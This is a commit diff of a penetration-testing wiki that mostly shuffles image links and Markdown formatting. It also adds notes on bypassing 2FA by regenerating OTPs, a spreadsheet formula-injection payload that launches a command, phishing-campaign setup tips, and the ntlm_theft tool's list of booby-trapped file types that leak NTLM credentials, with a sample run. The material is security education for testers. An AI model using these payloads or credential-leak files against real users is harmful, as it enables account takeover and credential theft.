GitBook: [master] 9 pages and 22 assets modified

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CPol 2021-01-07 12:13:26 +00:00 committed by gitbook-bot
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@ -10,7 +10,7 @@ dht udp "DHT Nodes"
![](.gitbook/assets/image%20%28182%29.png)
![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29.png)
![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29.png)
InfluxDB

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@ -297,7 +297,7 @@
## Pentesting Web
* [2FA Bypass](pentesting-web/2fa-bypass.md)
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
* [Abusing hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)

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@ -395,7 +395,7 @@ Partition Record Format:
In order to mount a MBR in Linux you first need to get the start offset \(you can use `fdisk` and the the `p` command\)
![](../../.gitbook/assets/image%20%28413%29%20%283%29%20%281%29.png)
![](../../.gitbook/assets/image%20%28413%29%20%283%29%20%283%29%20%281%29.png)
An then use the following code

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@ -76,7 +76,7 @@ When checking the code of the Content Provider **look** also for **functions** n
![](../../../.gitbook/assets/image%20%28211%29.png)
![](../../../.gitbook/assets/image%20%28254%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
![](../../../.gitbook/assets/image%20%28254%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Because you will be able to call them

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# 2FA Bypass
# 2FA/OTP Bypass
## **Bypassing two-factor authentication**
@ -57,6 +57,10 @@ Sometimes you can configure the 2FA for some actions inside your account \(chang
You want be able to bypass the 2FA but you will be able to waste money of the company.
#### Infinite OTP regeneration
If you can **generate a new OTP infinite times**, the **OTP is simple enough** \(4 numbers\), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using.
### CSRF/Clickjacking
Check if there is a CSRF or a Clickjacking vulnerability to disable the 2FA.

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@ -41,5 +41,5 @@ The good news is that **this payload is executed automatically when the file is
It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
![](../.gitbook/assets/image%20%2825%29%20%282%29%20%282%29%20%282%29%20%281%29.png)
![](../.gitbook/assets/image%20%2825%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png)

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@ -183,7 +183,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t
</methodCall>
```
![](../../.gitbook/assets/image%20%28107%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29.png)
![](../../.gitbook/assets/image%20%28107%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png)
![](../../.gitbook/assets/image%20%28224%29.png)

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@ -320,7 +320,7 @@ The page www.mail-tester.com can indicate you if you your domain is being blocke
* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._
* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors
![](../.gitbook/assets/image%20%28253%29%20%281%29%20%282%29.png)
![](../.gitbook/assets/image%20%28253%29%20%281%29%20%282%29%20%281%29.png)
{% hint style="info" %}
It's recommended to use the "**Send Test Email**" functionality to test that everything is working.

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@ -6,58 +6,70 @@
This tool will **create several documents/files** that if accessed by the user somehow they will **start a NTLM authentication with the attacker**.
#### ntlm_theft supports the following attack types:
#### ntlm\_theft supports the following attack types:
Browse to Folder Containing:
- .url via URL field
- .url via ICONFILE field
- .lnk - via icon_location field
- .scf via ICONFILE field (Not Working on Latest Windows)
- autorun.inf via OPEN field (Not Working on Latest Windows)
- desktop.ini - via IconResource field (Not Working on Latest Windows)
* .url via URL field
* .url via ICONFILE field
* .lnk - via icon\_location field
* .scf via ICONFILE field \(Not Working on Latest Windows\)
* autorun.inf via OPEN field \(Not Working on Latest Windows\)
* desktop.ini - via IconResource field \(Not Working on Latest Windows\)
Open Document:
- .xml via Microsoft Word external stylesheet
- .xml via Microsoft Word includepicture field
- .htm via Chrome & IE & Edge img src (only if opened locally, not hosted)
- .docx via Microsoft Word includepicture field
-.docx via Microsoft Word external template
-.docx via Microsoft Word frameset webSettings
-.xlsx - via Microsoft Excel external cell
-.wax - via Windows Media Player playlist (Better, primary open)
-.asx via Windows Media Player playlist (Better, primary open)
-.m3u via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
-.jnlp via Java external jar
-.application via any Browser (Must be served via a browser downloaded or wont run)
* .xml via Microsoft Word external stylesheet
* .xml via Microsoft Word includepicture field
* .htm via Chrome & IE & Edge img src \(only if opened locally, not hosted\)
* .docx via Microsoft Word includepicture field
-.docx via Microsoft Word external template
-.docx via Microsoft Word frameset webSettings
-.xlsx - via Microsoft Excel external cell
-.wax - via Windows Media Player playlist \(Better, primary open\)
-.asx via Windows Media Player playlist \(Better, primary open\)
-.m3u via Windows Media Player playlist \(Worse, Win10 opens first in Groovy\)
-.jnlp via Java external jar
-.application via any Browser \(Must be served via a browser downloaded or wont run\)
Open Document and Accept Popup:
- .pdf via Adobe Acrobat Reader
* .pdf via Adobe Acrobat Reader
Click Link in Chat Program:
- .txt formatted link to paste into Zoom chat
* .txt formatted link to paste into Zoom chat
> Example :
```sh
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.
```
>
> ```bash
> # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
> Created: test/test.scf (BROWSE)
> Created: test/test-(url).url (BROWSE)
> Created: test/test-(icon).url (BROWSE)
> Created: test/test.rtf (OPEN)
> Created: test/test-(stylesheet).xml (OPEN)
> Created: test/test-(fulldocx).xml (OPEN)
> Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
> Created: test/test-(includepicture).docx (OPEN)
> Created: test/test-(remotetemplate).docx (OPEN)
> Created: test/test-(frameset).docx (OPEN)
> Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
> Created: test/test.asx (OPEN)
> Created: test/test.jnlp (OPEN)
> Created: test/test.application (DOWNLOAD AND OPEN)
> Created: test/test.pdf (OPEN AND ALLOW)
> Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
> Generation Complete.
> ```
### [All\_NTLM-Leak](https://github.com/Gl3bGl4z/All_NTLM_leak)